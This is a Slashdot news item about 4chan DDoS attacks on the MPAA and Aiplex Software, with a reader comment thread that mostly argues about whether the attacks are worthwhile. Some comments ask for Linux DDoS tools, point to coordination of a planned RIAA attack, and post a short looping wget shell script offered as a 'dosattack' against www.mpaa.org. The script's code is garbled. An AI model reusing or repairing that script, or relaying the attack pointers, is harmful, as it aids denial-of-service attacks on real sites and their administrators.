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DDoS From 4chan Hits MPAA and Anti-Piracy Website
ACKyushu writes "Say what you like about 4chan; when they want something done, it gets done. Following a call to arms yesterday, the masses inhabiting the anonymous 4chan boards have carried out a huge assault on a pair of anti-piracy enemies. The website of Aiplex Software, the anti-piracy outfit which has been DDoSing torrent sites recently, fell victim to a DDoS itself. They were joined in the Internet wasteland by the MPAA's website, which also fell to a huge and sustained attack."
Let the slashdotting commence!
"There is a way that seems right to a man, but its end is the way of death." Proverbs 16:25 (NKJV)
Or I'm getting aroused thinking of this.
Oh noes their website went down for a few hours, that's sure to stop all of their operations! Or not...
I think neither the MPAA nor Aiplex really care about about their websites getting knocked down; if anything, it gives them more publicity and lets them generate additional FUD about the dreaded "pirates". If anonymous members can't target more essential parts of their business with their attacks, they shouldn't bother.
You just told the powers in the world to stop fucking around on the Internet and to start fucking around with jackbooted thugs knocking down doors.
I feel so much safer now.
At the very least, this should show the MPAA that no matter what kind of resources they have, 4Chan can muster the same or more. I mean, obviously this didn't have any short or long term effect other than someone probably saying "oh, our websites are down." But ya, if they are capable of this (with sheer numbers), they could be capable of more.
Basically I'm for anything that scares the MPAA somewhat, or at least is a force fighting them, even if the "fighting" (in this case) is rather pointless and somewhat childish.
Then said Jesus unto him, Put up again thy sword into his place: for all they that take the sword shall perish with the sword.
In schoolboy terms "they started it!"
I'll see your Constitution and raise you a Queen.
Anyone have a link to the affected sites... :
Like 4channers ddosing wasn't already enough. Now the sites will suffer from the slashdot effect as well. Not that all this matters to me. I feel bad for the admins as they will get all the trouble and chaos. Ddosers likely think that they are attacking the big corporate giants but instead it's just the network admins who get all the shit and still desperately try to keep the sites up.
wouldn't it be more efficient to target Aiplex's and MPAA's gateway so that workers would have difficulty to "work"? If they don't use their own websites, they might have not noticed at all.
The problem is collateral damage. Legitimate actors can't get into the DDoS game, because if they legitimize DDoS, the network will *fry*.
The "good guys" cannot flood nearly as significantly as the bad guys. Worse, the good guys are significantly more exposed -- they have corpnets, they have partner nets, etc. Today it's the website, tomorrow it's Hulu.
There are paths on which the anti-piracy people have the high ground (not moral high ground, tactical high ground). DDoS, in no uncertain terms, is not one of them.
...gigabytes of packets to you. lulz
Does anyone know a good DDoS software that runs on Linux? The mono port of LOIC is awful.
I wouldn't call the MPAA "Anti-Piracy."
THEY would call themselves "anti-piracy" but they actually lobby for legislation that gives them control over content beyond what copyright law allows, in order to reap greater profits. They also try to lock down and control content delivery mechanisms and channels in order to maintain a monopoly.
Not really an "anti-piracy" group.
Payback's a bitch.
Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
What the hell is the point of DDOSing a company on a weekend? All the people who deserve it are out at their summer houses throwing their last party of the season. The only person who'll actually care is the poor networking flunky who has to come in on his day off or risk being fired.
The only winners in an arms race are the arms dealers. In this case, that'd be bandwidth providers, security specialists, anybody who "helps" you in your attempt to win the fight.
For all intensive purposes, "whom" is no longer a word. That begs the question, "who cares"?
A casual trip through 4chan's boards found an interesting tidbit. They are planning another assault, on the RIAA now. It is planned for Sunday. Finding the details on 4chans boards should be trivial for any slashdotter. Just trying to be informative.
Interesting seems like 200+ people are in a chatroom coordinating this right now.
http://pastehtml.com/view/1b3tqp1.html
quoted from 'aiplex':
Solution
To eradicate piracy at its best possible, we strategically follow some of the best practices outlined below;
Finding the links of the unauthorized content using appropriate software which co-relates the copyright / licensed material in any given format.
Our 24/7 net vigilance agents & customer support team will have a rigorous check on video sharing communities and perform regular scrutiny for copyright deviation.
A list of leading 159 video sharing communities where videos in any forms are uploaded will be on a rigorous check for any new uploads.
We shall approach the service provider with the authenticated links of the pirated products being uploaded & appeal them to remove the content/file by issuing legal notice / request letter for violation of copyrights.
Our 24/7 support team would also prevent the damage by issuing instant legal notices to the service provider & block the account for deviating copy right laws.
wtf?? I mean, they seem like kids or something. not very good english for an 'official' net-sheriff (oops, that was another clown on teh intertubes, pardon me).
I'm not impressed. sorry.
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"It is now safe to switch off your computer."
I wish I could mobilize 4chan dwellers and /b/tards in particular to go out and vote for their national Pirate Party come election time, but it appears the vast majority haven't reached the age of maturity yet...
http://www.aiplex.com/registration.html
http://www.mpaa.org/search/policy
are up now. and fast for me in BC. cloud scaling? It may be that they are paying to keep the sites up with extra bandwidth. This actually would impact their bottom line instead of just being a nuisance the way normal DDOS (take down) would be.
Stupidity is its own reward.
Am I the only one who doesn't see how Medical Transcription intersects in any way with SEO and Anti-piracy?
Also, I'm saving this blurb from their front page as one of the best, most generic examples of corporate-speak ever:
<Insert Company Name Here> has a blend of technology savvy & process driven dedicated team bringing about a paradigm shift in rendering customized solutions to its clients. We have steadily grown in reach and service offerings with a favorable cost-benefit ratio & keeping pace with the emerging business needs of our customers.
Dammit, I wan'na see a Starship powered by a 4Chan engine!!
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What Anonymous didn't mention was that their entire plan was nothing more than to create a press release in order to unleash the largest botnet on earth: Slashdot.
Two wrongs, in special cases, can make a right (if they cancel each other properly).
http://dilbert.com/strips/comic/1999-02-07/
Those who can make you believe absurdities can make you commit atrocities. - Voltaire
guess who wins.
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#! /bin/sh
COUNTER=1 /dev/null "$1"
while [ $COUNTER -gt 0 ]; do
echo "\n=====Attempt $COUNTER=====\n"
wget -t 5 -w 0 --no-cookies -O
COUNTER=$(($COUNTER+1))
done
Save, make executable, and it attacks whatever site you pass it until you stop it, for instance "./dosattack www.mpaa.org"
"When information is power, privacy is freedom" - Jah-Wren Ryel
Pete Townsend wrote it, Roger Daltry sang it, and both of those geezers are still around!
Um, shouldn't that be "assault on a pair of _piracy_ enemies? I'm just saying.
I acessed them from sao paulo brazil. Seemed slow but quite OK.
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In the virtual world? Yes
Now, imagine if they had posted the street and postal addresses of the organisations...
eg: http://www.macobserver.com/tmo/article/Spam_King_Inundated_By_Junk_Mail_Fails_To_See_The_Irony/
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